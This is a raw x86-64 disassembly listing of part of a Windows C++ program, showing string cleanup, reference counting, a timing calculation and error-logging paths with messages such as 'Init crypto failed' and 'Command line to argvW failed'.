movups xmm1, xmmword [rbp + 0x590]
movups xmmword [rbp + 0x230], xmm1
mov qword [rbp + 0x590], r14
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r14w
mov r14, qword [rbp + 0x578]
test r14, r14
je 0x14004de33
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movzx eax, byte [rbp + 0x565]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x40], xmm0
mov byte [rsp + 0x28], al
mov eax, dword [rbp + 0x560]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x550]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.140073950
jmp 0x14004e016
mov rbx, qword [rbp + 0x680]
mov rax, qword [rbp + 0x688]
cmp rbx, rax
je 0x14004df4f
mov r14, qword [rbp + 0x578]
mov r15, rax
mov esi, dword [rbp + 0x560]
nop dword [rax]
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x560]
call fcn.140042c50
cmp byte [rbp + 0x560], 0
jne 0x14004df2f
movzx r12d, byte [rbp + 0x561]
cmp rdi, qword [rbp - 0x70]
je 0x14004decb
test r12b, r12b
jne 0x14004df2f
mov rdx, rbx
lea rcx, [rbp + 0x510]
call fcn.14004fe30
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
test r14, r14
je 0x14004defe
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movzx r12d, byte [rbp + 0x561]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x120], xmm0
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x550]
mov r8, rax
lea rdx, [rbp + 0x120]
mov rcx, r13
call fcn.140073950
add rbx, 0x20
cmp rbx, r15
jne 0x14004dea0
mov rsi, qword [rbp - 0x80]
mov r15, qword [rbp + 0x40]
mov r12d, 1
jmp 0x14004e016
mov rax, qword [rbp + 0x5a8]
mov qword [rsp + 0x60], rax
mov rbx, qword [rbp + 0x5a0]
cmp rbx, rax
je 0x14004e00f
add rbx, 0x20
mov r14, qword [rbp + 0x578]
mov rcx, rax
mov r15d, dword [rbp + 0x560]
mov rsi, qword [rbp - 0x70]
cmp byte [rbx + 1], 0
jne 0x14004dff2
cmp rdi, rsi
je 0x14004df94
cmp byte [rbx], 0
jne 0x14004dff2
movzx r12d, byte [rbx]
lea rdx, [rbx - 0x20]
lea rcx, [rbp + 0x530]
call fcn.14004fe30
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
test r14, r14
je 0x14004dfc1
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp - 0x70], xmm0
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x550]
mov r8, rax
lea rdx, [rbp - 0x70]
mov rcx, r13
call fcn.140073950
mov rcx, qword [rsp + 0x60]
add rbx, 0x28
lea rax, [rbx - 0x20]
cmp rax, rcx
jne 0x14004df84
mov rsi, qword [rbp - 0x80]
mov r15, qword [rbp + 0x40]
mov r12d, 1
jmp 0x14004e016
mov r14, qword [rbp + 0x578]
cmp dword [r13 + 0x34], 0
je 0x14004e026
mov rcx, qword [r13 + 0x20]
call fcn.140073610
mov rcx, qword [r13 + 0x10]
call fcn.140073610
mov rbx, qword [rbp + 0x570]
cmp dword [rbx + 0x34], 0
je 0x14004e045
mov rcx, qword [rbx + 0x20]
call fcn.140073610
mov rcx, qword [rbx + 0x10]
call fcn.140073610
mov rcx, qword [rbp + 0x50]
call fcn.14007ba00
xor edx, edx
mov rcx, qword [rbp + 0x50]
call fcn.14008525c
call fcn.140078df0
mov rbx, rax
call fcn.140078dd4
cmp rbx, 0x989680
jne 0x14004e07e
imul rbx, rax, 0x64
jmp 0x14004e09f
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
sub rbx, rsi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x6c0]
call fcn.140087c60
mov edx, r12d
lea rcx, [rbp + 0x6c0]
call fcn.14003f150
movabs rax, 0x431bde82d7b634db
imul rbx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.140059d50
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xor r13d, r13d
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], r13b
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
mov ecx, dword [rbp + 0x748]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14004e153
mov rax, qword [rbp + 0x718]
mov r8, qword [rax]
test r8, r8
je 0x14004e153
mov rax, qword [rbp + 0x6f8]
mov rdx, qword [rax]
mov qword [rbp + 0x20], rdx
cmp r8, qword [rbp + 0x740]
cmovb r8, qword [rbp + 0x740]
sub r8, rdx
mov qword [rbp + 0x28], r8
jmp 0x14004e193
test cl, 4
jne 0x14004e18b
mov rax, qword [rbp + 0x710]
mov rcx, qword [rax]
test rcx, rcx
je 0x14004e18b
mov rax, qword [rbp + 0x6f0]
mov rdx, qword [rax]
mov qword [rbp + 0x20], rdx
mov rax, qword [rbp + 0x728]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
mov qword [rbp + 0x28], r8
jmp 0x14004e193
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x14004e1a1
lea rcx, [rbp + 0x58]
call fcn.14003c0b0
lea rcx, [rbp + 0x6c0]
call fcn.14003b0a0
mov r8d, 3
lea rdx, [0x1400d2be8]
lea rcx, [rbp + 0x58]
call fcn.140036ec0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004e21c
lea r8, [rbp - 0x60]
mov edx, 2
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004e21c
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14004e257
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e252
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6ef
call fcn.14008525c
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x14004e2a2
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e29d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6ef
call fcn.14008525c
mov r12d, r13d
lea rcx, [rbp + 0x680]
call fcn.140044790
mov rdi, 0xffffffffffffffff
test r14, r14
je 0x14004e2f2
mov eax, edi
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x14004e2f2
mov rbx, qword [rbp + 0x578]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14004e2f2
mov rcx, qword [rbp + 0x578]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, edi
lock xadd dword [r15 + 8], eax
cmp eax, 1
jne 0x14004e3be
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
lock xadd dword [r15 + 0xc], edi
cmp edi, 1
jne 0x14004e3be
mov rax, qword [r15]
mov rcx, r15
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14004e3be
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0x13
lea rdx, str.Init_crypto_failed_
lea rcx, [rsp + 0x30]
call fcn.140036fe0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004e37e
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004e37e
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004e3bb
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e3b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6f5
call fcn.14008525c
mov r12d, r13d
mov rcx, qword [rbp + 0x5a0]
test rcx, rcx
je 0x14004e4e5
mov rdx, qword [rbp + 0x5a8]
call fcn.140054ee0
mov rcx, qword [rbp + 0x5b0]
mov r8, qword [rbp + 0x5a0]
sub rcx, r8
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x14004e433
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e675
mov rcx, r8
call fcn.14008525c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], r13
jmp 0x14004e4e5
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0x1d
lea rdx, str.Command_line_to_argvW_failed_
lea rcx, [rsp + 0x30]
call fcn.140036fe0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004e4a5
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14003fdd0
mov rcx, qword [0x1400f5e58]
test rcx, rcx
je 0x14004e4a5
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004e4e2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e4dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e6fb
call fcn.14008525c
mov r12d, r13d
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 8
jb 0x14004e52b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e526
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e675
call fcn.14008525c
mov qword [rbp + 0x5c8], r13
mov qword [rbp + 0x5d0], 7
mov word [rbp + 0x5b8], r13w
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 8
jb 0x14004e58b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e675
call fcn.14008525c
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5f8], 7
mov word [rbp + 0x5e0], r13w
mov rdx, qword [rbp + 0x598]
cmp rdx, 8
jb 0x14004e5eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e5e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e675
call fcn.14008525c
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r13w
mov rdx, qword [rbp + 0x6b8]
cmp rdx, 0x10
jb 0x14004e642
inc rdx
mov rcx, qword [rbp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e63d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004e675
call fcn.14008525c
mov eax, r12d
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140084e90
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
lea rcx, str.invalid_stoi_argument
call fcn.140077b18
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.140077b60
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3
call fcn.14008c93c
int3